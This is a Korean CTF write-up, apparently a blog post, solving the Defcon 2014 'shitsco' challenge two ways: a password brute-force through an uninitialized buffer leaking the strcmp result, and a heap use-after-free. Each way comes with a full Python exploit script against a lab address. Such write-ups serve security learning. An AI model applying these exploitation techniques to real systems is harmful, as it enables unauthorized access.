[Defcon 2014] shitsco - use-after-free or memory leak
풀이 방법이 2가지가 존재한다. 하나는 릭을 이용한 방법, 다른 하나는 uaf를 이용한 방법이다.
1. leak을 이용한 방법
enable에서 입력받은 패스워드 버퍼가 초기화되지않아 이상한 값들이 보인다. 무언가 수상하다.
sub_8048C30(0, &s2, 0x20, 10); //문자열 입력 함수
저 함수에서 문자열을 입력받고 나서 NULL을 넣어주지 않아 leak이 발생한다.
그런데 밑에 패스워드 체크 부분에서 수상한 점이있었다.
v4 = strcmp(password, v1);
if ( v4 )
if(strcmp(..))으로 해도 되는데 굳이 지역 변수에 담아 체크한다.
그런데 위에 보면
char s2; // [sp+18h] [bp-34h]@2
int v4; // [sp+38h] [bp-14h]@3
입력받은 문자열에 strcmp리턴값이 붙어있다. 크기도 0x20으로 딱 맞다.
이제 리턴 값을 이용하여 패스워드를 알아내면 끝.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 | #!/usr/bin/python from socket import * import time import struct p = lambda x: struct.pack("<L", x) def up(x): return struct.unpack("<L", x+'\x00'*(4-len(x)))[0] cnt = 0 log = 0 def u(str): global sk data = '' while str not in data: data += sk.recv(1) if log != 0: print data return data def r(): #time.sleep(0.1) global sk data = sk.recv(4096) if log != 0: print data return data def pu(str): global cnt data = u(str) print data print 'cnt',cnt cnt += 1 return data def pr(): global cnt s = r() print s print 'cnt',cnt cnt += 1 return s stream='' def s(str): #time.sleep(0.1) if str.find("\x00") != -1: print "NULL" if log != 0: print str global stream stream += str global sk return sk.send(str) IP = '1.1.1.5' PORT = 1234 sk = socket(2, 1) sk.connect((IP, PORT)) def enable(pwd): s('enable\n') r() s(pwd+'\n') return r() r() password = '\xCC'*0x1f for i in range(0x1f): for j in range(0x60, 0x80): payload = password[:i]+chr(j)+password[i+1:] leak = enable(payload) ret = leak[leak.rfind('\xCC')+2:leak.rfind('\n')] ret = up(ret) if ret >> 8 == 0xffffff: password = payload print password[:password.find('\xCC')] break print password | cs |
2. use-after-free
노드 흐름
*set 3 node
node 1 2 3
prev 0 1 2
next 1 3 0
0<1><2><3
*delete 1
node 1 2 3
prev 0 2
next 3 0
0 <2><3
*delete 2
node 1 2 3
prev 0
next 0
0 <3
*set 1
node 1 2 3
prev 0 A... 0
next 0 B... 0
*uaf
일반적인 할당 흐름
free(i->value);
free(i->name);
free(i);
newvar = calloc(1u, 16u);
list.name = __strdup(name);
list_value = __strdup(value);
#할당 크기
alloc은 할당 크기에 따라 위치가 달라진다.
uaf시 같은 주소를 참조하기 위해서 할당 크기를 동일하게 해주어야한다.
calloc(1, 16) 노드 구조체 크기 16로 할당.
strdup은 문자열 클론을 만들어 주는함수인데 내부에서 malloc(문자열크기+1)을 호출한다.
16-1=15 크기로 할당하면 된다.
free(node[2]->value)
free(node[2]->name)
free(node[2])
//첫번째 노드는 calloc을 하지않음 -> free한 노드에 uaf 가능
node[1]->name = strdup('A'*16)
node[1]->value = strdup('B'*16)
*마지막으로 free한 곳이 2번째 노드이므로 strdup을 이용하여 2번째 노드 구조체에 원하는 값을 Write할수있다.
-> 노드의 next 주소를 password 주소로 조작해주면 show할때 password를 알아 낼수 있다.
SIGSEGV
EDI: 0x42424242 ('BBBB')
=> 0xf7e57fef <vfprintf+18767>: repnz scas al,BYTE PTR es:[edi]
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 | #!/usr/bin/python from socket import * import struct p = lambda x: struct.pack("<L", x) def up(x): return struct.unpack("<L", x+'\x00'*(4-len(x)))[0] cnt = 0 log = 0 def u(str): global sk data = '' while str not in data: data += sk.recv(1) if log != 0: print data return data def r(): global sk data = sk.recv(4096) if log != 0: print data return data def pu(str): global cnt data = u(str) print data print 'cnt',cnt cnt += 1 return data def pr(): global cnt s = r() print s print 'cnt',cnt cnt += 1 return s stream='' def s(str): if str.find("\x00") != -1: print "NULL" if log != 0: print str global stream stream += str global sk return sk.send(str) IP = '1.1.1.5' PORT = 1234 sk = socket(2, 1) sk.connect((IP, PORT)) r() def set(name, value): s('set '+name+' '+value+'\n') r() def delete(name): s('set '+name+'\n') r() def show(): s('show\n') return r() set('A'*16,'A'*16) set('B'*16,'B'*16) set('C'*16,'C'*16) delete('A'*16) delete('B'*16) password = p(0x804C3A0) set(password*4,password*4) print show() f = open('i','w') f.write(stream[:-1]) f.close() | cs |
shitsco_c8b1aa31679e945ee64bde1bdb19d035.idb
지적 부탁드립니다.
'Hacking > Pwnable' 카테고리의 다른 글
[Defcon 2014] babyfirst - double free bug (0) | 2015.05.12 |
---|---|
[CodeGate 2013] Vuln 500 - integer overflow, heap realloc (0) | 2015.05.12 |